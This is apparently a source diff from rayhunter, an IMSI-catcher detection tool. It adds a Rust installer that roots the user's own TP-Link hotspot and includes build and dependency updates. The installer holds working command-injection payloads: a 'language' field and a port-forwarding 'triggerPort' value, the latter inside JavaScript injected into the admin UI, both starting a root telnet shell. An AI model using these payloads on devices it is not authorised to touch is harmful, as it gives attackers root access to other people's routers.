let qcmap_web_cgi_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi");
let client = reqwest::Client::new();
println!("Launching telnet on the device");
// https://github.com/advisories/GHSA-ffwq-9r7p-3j6r
// in particular: https://www.yuque.com/docs/share/fca60ef9-e5a4-462a-a984-61def4c9b132
let response = client.post(&qcmap_web_cgi_endpoint)
.body(r#"{"module": "webServer", "action": 1, "language": "EN';echo $(busybox telnetd -l /bin/sh);echo 1'"}"#)
.send()
.await?;
if response.status() == 404 {
println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit");
tplink_launch_telnet_v5(admin_ip).await?;
} else {
let V3RootResponse { result } = response.error_for_status()?.json().await?;
if result != 0 {
anyhow::bail!("Bad result code when trying to root device: {result}");
}
// resetting the language is important because otherwise the tplink's admin interface is
// unusuable.
let V3RootResponse { result } = client
.post(&qcmap_web_cgi_endpoint)
.body(r#"{"module": "webServer", "action": 1, "language": "en"}"#)
.send()
.await?
.error_for_status()?
.json()
.await?;
if result != 0 {
anyhow::bail!("Bad result code when trying to reset the language: {result}");
}
println!("Detected hardware revision v3");
}
println!(
"Succeeded in rooting the device! Now you can use 'telnet {admin_ip}' to get a root shell. Use './installer util tplink-start-telnet' to root again without installing rayhunter."
);
Ok(())
}
async fn tplink_run_install(skip_sdcard: bool, admin_ip: String) -> Result<(), Error> {
println!("Connecting via telnet to {admin_ip}");
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
if !skip_sdcard {
println!("Mounting sdcard");
if telnet_send_command(addr, "mount | grep -q /media/card", "exit code 0")
.await
.is_err()
{
telnet_send_command(addr, "mount /dev/mmcblk0p1 /media/card", "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?;
} else {
println!("sdcard already mounted");
}
}
// there is too little space on the internal flash to store anything, but the initrd script
// expects things to be at this location
telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?;
telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?;
telnet_send_command(addr, "ln -sf /media/card /data/rayhunter", "exit code 0").await?;
telnet_send_file(
addr,
"/media/card/config.toml",
crate::CONFIG_TOML.as_bytes(),
)
.await?;
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_TPLINK"));
telnet_send_file(addr, "/media/card/rayhunter-daemon", rayhunter_daemon_bin).await?;
telnet_send_file(
addr,
"/etc/init.d/rayhunter_daemon",
get_rayhunter_daemon().as_bytes(),
)
.await?;
telnet_send_command(
addr,
"chmod ugo+x /media/card/rayhunter-daemon",
"exit code 0",
)
.await?;
telnet_send_command(
addr,
"chmod 755 /etc/init.d/rayhunter_daemon",
"exit code 0",
)
.await?;
telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?;
println!(
"Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080"
);
telnet_send_command(addr, "reboot", "exit code 0").await?;
Ok(())
}
async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) -> Result<(), Error> {
println!("Sending file {filename}");
// remove the old file just in case we are close to disk capacity.
telnet_send_command(addr, &format!("rm {filename}"), "").await?;
{
let filename = filename.to_owned();
let handle = tokio::spawn(async move {
telnet_send_command(addr, &format!("nc -l 0.0.0.0:8081 > {filename}.tmp"), "").await
});
sleep(Duration::from_millis(100)).await;
let mut addr = addr;
addr.set_port(8081);
let mut stream = TcpStream::connect(addr).await?;
stream.write_all(payload).await?;
handle.await??;
}
let checksum = md5::compute(payload);
telnet_send_command(
addr,
&format!("md5sum {filename}.tmp"),
&format!("{checksum:x} {filename}.tmp"),
)
.await?;
telnet_send_command(
addr,
&format!("mv {filename}.tmp {filename}"),
"exit code 0",
)
.await?;
Ok(())
}
async fn telnet_send_command(
addr: SocketAddr,
command: &str,
expected_output: &str,
) -> Result<(), Error> {
let stream = TcpStream::connect(addr).await?;
let (mut reader, mut writer) = stream.into_split();
loop {
let mut next_byte = 0;
reader
.read_exact(std::slice::from_mut(&mut next_byte))
.await?;
if next_byte == b'#' {
break;
}
}
writer.write_all(command.as_bytes()).await?;
writer.write_all(b"; echo exit code $?\r\n").await?;
let mut read_buf = Vec::new();
let _ = timeout(Duration::from_secs(5), async {
let mut buf = [0; 4096];
loop {
let Ok(bytes_read) = reader.read(&mut buf).await else {
break;
};
let bytes = &buf[..bytes_read];
if bytes.is_empty() {
continue;
}
read_buf.extend(bytes);
if read_buf.ends_with(b"/ # ") {
break;
}
}
})
.await;
let string = String::from_utf8_lossy(&read_buf);
if !string.contains(expected_output) {
anyhow::bail!("{expected_output:?} not found in: {string}");
}
Ok(())
}
#[derive(Clone)]
struct AppState {
client: HttpProxyClient,
admin_ip: String,
}
async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, StatusCode> {
let path = req.uri().path();
let path_query = req
.uri()
.path_and_query()
.map(|v| v.as_str())
.unwrap_or(path);
let uri = format!("http://{}{}", state.admin_ip, path_query);
// on version 5.2, this path is /settings.min.js
// on other versions, this path is /js/settings.min.js
let is_settings_js = path.ends_with("/settings.min.js");
*req.uri_mut() = Uri::try_from(uri).unwrap();
let mut response = state
.client
.request(req)
.await
.map_err(|_| StatusCode::BAD_REQUEST)?
.into_response();
if is_settings_js {
let (parts, body) = response.into_parts();
let data = to_bytes(body, usize::MAX)
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
let mut data = BytesMut::from(data);
// inject some javascript into the admin UI to get us a telnet shell.
data.extend(br#";window.rayhunterPoll = window.setInterval(() => {
Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"});
alert("Success! You can go back to the rayhunter installer.");
window.clearInterval(window.rayhunterPoll);
}, 1000);"#);
response = Response::from_parts(parts, Body::from(Bytes::from(data)));
response.headers_mut().remove("Content-Length");
}
Ok(response)
}
async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
let client: HttpProxyClient =
hyper_util::client::legacy::Client::<(), ()>::builder(TokioExecutor::new())
.build(HttpConnector::new());
let app = Router::new()
.route("/", any(handler))
.route("/{*path}", any(handler))
.with_state(AppState {
client,
admin_ip: admin_ip.to_owned(),
});
let listener = tokio::net::TcpListener::bind("127.0.0.1:4000")
.await
.unwrap();
println!("Listening on http://{}", listener.local_addr().unwrap());
println!("Please open above URL in your browser and log into the router to continue.");
let handle = tokio::spawn(async move { axum::serve(listener, app).await });
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
while telnet_send_command(addr, "true", "exit code 0")
.await
.is_err()
{
sleep(Duration::from_millis(1000)).await;
}
handle.abort();
Ok(())
}
fn get_rayhunter_daemon() -> String {
// Even though TP-Link eventually auto-mounts the SD card, it sometimes does so too late. And
// changing the order in which daemons are started up seems to not work reliably.
//
// This part of the daemon dynamically generated because we may have to eventually add logic
// specific to a particular hardware revision here.
crate::RAYHUNTER_DAEMON_INIT.replace(
"#RAYHUNTER-PRESTART",
"mount /dev/mmcblk0p1 /media/card || true",
)
}
#[test]
fn test_get_rayhunter_daemon() {
let s = get_rayhunter_daemon();
assert!(s.contains("mount /dev/mmcblk0p1 /media/card"));
}
+2 -2
View File
@@ -1,6 +1,6 @@
[package] [package]
name = "rayhunter" name = "rayhunter"
version = "0.2.8" version = "0.3.0"
edition = "2021" edition = "2021"
description = "Realtime cellular data decoding and analysis for IMSI catcher detection" description = "Realtime cellular data decoding and analysis for IMSI catcher detection"
@@ -18,7 +18,7 @@ tplink = []
bytes = "1.5.0" bytes = "1.5.0"
chrono = "0.4.31" chrono = "0.4.31"
crc = "3.0.1" crc = "3.0.1"
deku = { version = "0.16.0", features = ["logging"] } deku = { version = "0.18.0", features = ["logging"] }
env_logger = "0.10.1" env_logger = "0.10.1"
libc = "0.2.150" libc = "0.2.150"
log = "0.4.20" log = "0.4.20"
+4 -1
View File
@@ -60,7 +60,10 @@ impl Analyzer for ImsiRequestedAnalyzer {
event_type: EventType::QualitativeWarning { event_type: EventType::QualitativeWarning {
severity: Severity::High, severity: Severity::High,
}, },
message: "NAS IMSI identity request detected".to_owned(), message: format!(
"NAS IMSI identity request detected (packet {})",
self.packet_num
),
}); });
} }
} }
+4 -4
View File
@@ -25,14 +25,14 @@ pub struct RequestContainer {
} }
#[derive(Debug, Clone, PartialEq, DekuWrite)] #[derive(Debug, Clone, PartialEq, DekuWrite)]
#[deku(type = "u32")] #[deku(id_type = "u32")]
pub enum Request { pub enum Request {
#[deku(id = "115")] #[deku(id = "115")]
LogConfig(LogConfigRequest), LogConfig(LogConfigRequest),
} }
#[derive(Debug, Clone, PartialEq, DekuWrite)] #[derive(Debug, Clone, PartialEq, DekuWrite)]
#[deku(type = "u32", endian = "little")] #[deku(id_type = "u32", endian = "little")]
pub enum LogConfigRequest { pub enum LogConfigRequest {
#[deku(id = "1")] #[deku(id = "1")]
RetrieveIdRanges, RetrieveIdRanges,
@@ -46,7 +46,7 @@ pub enum LogConfigRequest {
} }
#[derive(Debug, Clone, PartialEq, DekuRead, DekuWrite)] #[derive(Debug, Clone, PartialEq, DekuRead, DekuWrite)]
#[deku(type = "u32", endian = "little")] #[deku(id_type = "u32", endian = "little")]
pub enum DataType { pub enum DataType {
#[deku(id = "32")] #[deku(id = "32")]
UserSpace, UserSpace,
@@ -121,7 +121,7 @@ pub struct HdlcEncapsulatedMessage {
} }
#[derive(Debug, Clone, PartialEq, DekuRead, DekuWrite)] #[derive(Debug, Clone, PartialEq, DekuRead, DekuWrite)]
#[deku(type = "u8")] #[deku(id_type = "u8")]
pub enum Message { pub enum Message {
#[deku(id = "16")] #[deku(id = "16")]
Log { Log {
+12 -8
View File
@@ -59,18 +59,22 @@ pub const LOG_CODES_FOR_RAW_PACKET_LOGGING: [u32; 11] = [
const BUFFER_LEN: usize = 1024 * 1024 * 10; const BUFFER_LEN: usize = 1024 * 1024 * 10;
const MEMORY_DEVICE_MODE: u32 = 2; const MEMORY_DEVICE_MODE: u32 = 2;
#[cfg(target_arch = "arm")] #[cfg(target_env = "musl")]
const DIAG_IOCTL_REMOTE_DEV: i32 = 32;
#[cfg(all(not(target_env = "musl"), target_arch = "arm"))]
const DIAG_IOCTL_REMOTE_DEV: u32 = 32; const DIAG_IOCTL_REMOTE_DEV: u32 = 32;
#[cfg(target_arch = "x86_64")] #[cfg(all(not(target_env = "musl"), target_arch = "x86_64"))]
const DIAG_IOCTL_REMOTE_DEV: u64 = 32; const DIAG_IOCTL_REMOTE_DEV: u64 = 32;
#[cfg(target_arch = "aarch64")] #[cfg(all(not(target_env = "musl"), target_arch = "aarch64"))]
const DIAG_IOCTL_REMOTE_DEV: u64 = 32; const DIAG_IOCTL_REMOTE_DEV: u64 = 32;
#[cfg(target_arch = "arm")] #[cfg(target_env = "musl")]
const DIAG_IOCTL_SWITCH_LOGGING: i32 = 7;
#[cfg(all(not(target_env = "musl"), target_arch = "arm"))]
const DIAG_IOCTL_SWITCH_LOGGING: u32 = 7; const DIAG_IOCTL_SWITCH_LOGGING: u32 = 7;
#[cfg(target_arch = "x86_64")] #[cfg(all(not(target_env = "musl"), target_arch = "x86_64"))]
const DIAG_IOCTL_SWITCH_LOGGING: u64 = 7; const DIAG_IOCTL_SWITCH_LOGGING: u64 = 7;
#[cfg(target_arch = "aarch64")] #[cfg(all(not(target_env = "musl"), target_arch = "aarch64"))]
const DIAG_IOCTL_SWITCH_LOGGING: u64 = 7; const DIAG_IOCTL_SWITCH_LOGGING: u64 = 7;
pub struct DiagDevice { pub struct DiagDevice {
@@ -126,8 +130,8 @@ impl DiagDevice {
); );
match MessagesContainer::from_bytes((&self.read_buf[0..bytes_read], 0)) { match MessagesContainer::from_bytes((&self.read_buf[0..bytes_read], 0)) {
Ok((_, container)) => return Ok(container), Ok((_, container)) => Ok(container),
Err(err) => return Err(DiagDeviceError::ParseMessagesContainerError(err)), Err(err) => Err(DiagDeviceError::ParseMessagesContainerError(err)),
} }
} }
+6 -3
View File
@@ -1,6 +1,9 @@
#!/bin/sh #!/bin/bash -e
cargo build --release --target="armv7-unknown-linux-gnueabihf" #--features debug pushd bin/web
npm run build
popd
cargo build --release --target="armv7-unknown-linux-musleabihf" #--features debug
adb shell '/bin/rootshell -c "/etc/init.d/rayhunter_daemon stop"' adb shell '/bin/rootshell -c "/etc/init.d/rayhunter_daemon stop"'
adb push target/armv7-unknown-linux-gnueabihf/release/rayhunter-daemon /data/rayhunter/rayhunter-daemon adb push target/armv7-unknown-linux-musleabihf/release/rayhunter-daemon /data/rayhunter/rayhunter-daemon
echo "rebooting the device..." echo "rebooting the device..."
adb shell '/bin/rootshell -c "reboot"' adb shell '/bin/rootshell -c "reboot"'
+1 -1
View File
@@ -1,6 +1,6 @@
[package] [package]
name = "rootshell" name = "rootshell"
version = "0.2.8" version = "0.3.0"
edition = "2021" edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
-11
View File
@@ -1,11 +0,0 @@
[package]
name = "serial"
version = "0.2.6"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
anyhow = "1.0.97"
nusb = "0.1.13"
tokio = { version = "1.44.2", features = ["macros", "rt", "time"] }
-173
View File
@@ -1,173 +0,0 @@
//! Serial communication with the orbic device
//!
//! This binary has two main functions, putting the orbic device in update mode which enables ADB
//! and running AT commands on the serial modem interface which can be used to upload a shell and chown it to root
//!
//! # Errors
//!
//! No device found - make sure your device is plugged in and turned on. If it is, it's possible you have a device with a different
//! usb id, file a bug with the output of `lsusb` attached.
use std::str;
use std::time::Duration;
use anyhow::{bail, Context, Result};
use nusb::transfer::{Control, ControlType, Recipient, RequestBuffer};
use nusb::{Device, Interface};
const ORBIC_NOT_FOUND: &str = r#"No Orbic device found.
Make sure your device is plugged in and turned on.
If it's possible you have a device with a different usb id:
please file a bug with the output of `lsusb` attached."#;
#[tokio::main(flavor = "current_thread")]
async fn main() -> Result<()> {
let args: Vec<String> = std::env::args().collect();
if args.len() != 2 || args[1] == "-h" || args[1] == "--help" {
println!("usage: {0} [<command> | --root]", args[0]);
std::process::exit(1);
}
if args[1] == "--root" {
enable_command_mode()
} else {
match open_orbic()? {
Some(interface) => send_command(interface, &args[1]).await,
None => bail!(ORBIC_NOT_FOUND),
}
}
}
/// Sends an AT command to the usb device over the serial port
///
/// First establish a USB handle and context by calling `open_orbic(<T>)
async fn send_command(interface: Interface, command: &str) -> Result<()> {
let mut data = String::new();
data.push_str("\r\n");
data.push_str(command);
data.push_str("\r\n");
let timeout = Duration::from_secs(1);
let enable_serial_port = Control {
control_type: ControlType::Class,
recipient: Recipient::Interface,
request: 0x22,
value: 3,
index: 1,
};
// Set up the serial port appropriately
interface
.control_out_blocking(enable_serial_port, &[], timeout)
.context("Failed to send control request")?;
// Send the command
tokio::time::timeout(timeout, interface.bulk_out(0x2, data.as_bytes().to_vec()))
.await
.context("Timed out writing command")?
.into_result()
.context("Failed to write command")?;
// Consume the echoed command
tokio::time::timeout(timeout, interface.bulk_in(0x82, RequestBuffer::new(256)))
.await
.context("Timed out reading submitted command")?
.into_result()
.context("Failed to read submitted command")?;
// Read the actual response
let response = tokio::time::timeout(timeout, interface.bulk_in(0x82, RequestBuffer::new(256)))
.await
.context("Timed out reading response")?
.into_result()
.context("Failed to read response")?;
// For some reason, on macOS the response buffer gets filled with garbage data that's
// rarely valid UTF-8. Luckily we only care about the first couple bytes, so just drop
// the garbage with `from_utf8_lossy` and look for our expected success string.
let responsestr = String::from_utf8_lossy(&response);
if !responsestr.contains("\r\nOK\r\n") {
println!("Received unexpected response: {0}", responsestr);
std::process::exit(1);
}
Ok(())
}
/// Send a command to switch the device into generic mode, exposing serial
///
/// If the device reboots while the command is still executing you may get a pipe error here, not sure what to do about this race condition.
fn enable_command_mode() -> Result<()> {
if open_orbic()?.is_some() {
println!("Device already in command mode. Doing nothing...");
return Ok(());
}
let timeout = Duration::from_secs(1);
if let Some(device) = open_device(0x05c6, 0xf626)? {
let enable_command_mode = Control {
control_type: ControlType::Vendor,
recipient: Recipient::Device,
request: 0xa0,
value: 0,
index: 0,
};
let interface = device
.detach_and_claim_interface(1)
.context("detach_and_claim_interface(1) failed")?;
if let Err(e) = interface.control_out_blocking(enable_command_mode, &[], timeout) {
// If the device reboots while the command is still executing we
// may get a pipe error here
if e == nusb::transfer::TransferError::Stall {
return Ok(());
}
bail!("Failed to send device switch control request: {0}", e)
}
return Ok(());
}
bail!(ORBIC_NOT_FOUND);
}
/// Get an Interface for the orbic device
fn open_orbic() -> Result<Option<Interface>> {
// Device after initial mode switch
if let Some(device) = open_device(0x05c6, 0xf601)? {
let interface = device
.detach_and_claim_interface(1) // will reattach drivers on release
.context("detach_and_claim_interface(1) failed")?;
return Ok(Some(interface));
}
// Device with rndis enabled as well
if let Some(device) = open_device(0x05c6, 0xf622)? {
let interface = device
.detach_and_claim_interface(1) // will reattach drivers on release
.context("detach_and_claim_interface(1) failed")?;
return Ok(Some(interface));
}
Ok(None)
}
/// General function to open a USB device
fn open_device(vid: u16, pid: u16) -> Result<Option<Device>> {
let devices = match nusb::list_devices() {
Ok(d) => d,
Err(_) => return Ok(None),
};
for device in devices {
if device.vendor_id() == vid && device.product_id() == pid {
match device.open() {
Ok(d) => return Ok(Some(d)),
Err(e) => bail!("device found but failed to open: {}", e),
}
}
}
Ok(None)
}
+1 -1
View File
@@ -1,6 +1,6 @@
[package] [package]
name = "telcom-parser" name = "telcom-parser"
version = "0.2.8" version = "0.3.0"
edition = "2021" edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+1 -3
View File
@@ -1,5 +1,3 @@
FROM rust:1.86-bullseye FROM rust:1.86-bullseye
RUN apt-get update RUN rustup target add armv7-unknown-linux-musleabihf
RUN apt-get install -y build-essential libc6-armhf-cross libc6-dev-armhf-cross gcc-arm-linux-gnueabihf
RUN rustup target add armv7-unknown-linux-gnueabihf
-18
View File
@@ -1,18 +0,0 @@
#!/bin/env bash
set -e
mkdir build
cd build
curl -LOs "https://github.com/EFForg/rayhunter/releases/latest/download/release.tar"
curl -LOs "https://github.com/EFForg/rayhunter/releases/latest/download/release.tar.sha256"
if ! sha256sum -c --quiet release.tar.sha256; then
echo "Download corrupted! (╯°□°)╯︵ ┻━┻"
exit 1
fi
tar -xf release.tar
./install-linux.sh
cd ..
rm -rf build
+2 -2
View File
@@ -9,9 +9,9 @@
# ./tools/run-docker-devenv # ./tools/run-docker-devenv
# #
# Inside the shell: # Inside the shell:
# cargo build --bin rayhunter-daemon --target armv7-unknown-linux-gnueabihf --release # cargo build --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --release
# #
# Your output binary is in ./target/armv7-unknown-linux-gnueabihf/release/rayhunter-daemon # Your output binary is in ./target/armv7-unknown-linux-musleabihf/release/rayhunter-daemon
docker build -t rayhunter-devenv -f tools/devenv.dockerfile . docker build -t rayhunter-devenv -f tools/devenv.dockerfile .
exec docker run --user $UID:$GID -v ./:/workdir -w /workdir -it rayhunter-devenv "$@" exec docker run --user $UID:$GID -v ./:/workdir -w /workdir -it rayhunter-devenv "$@"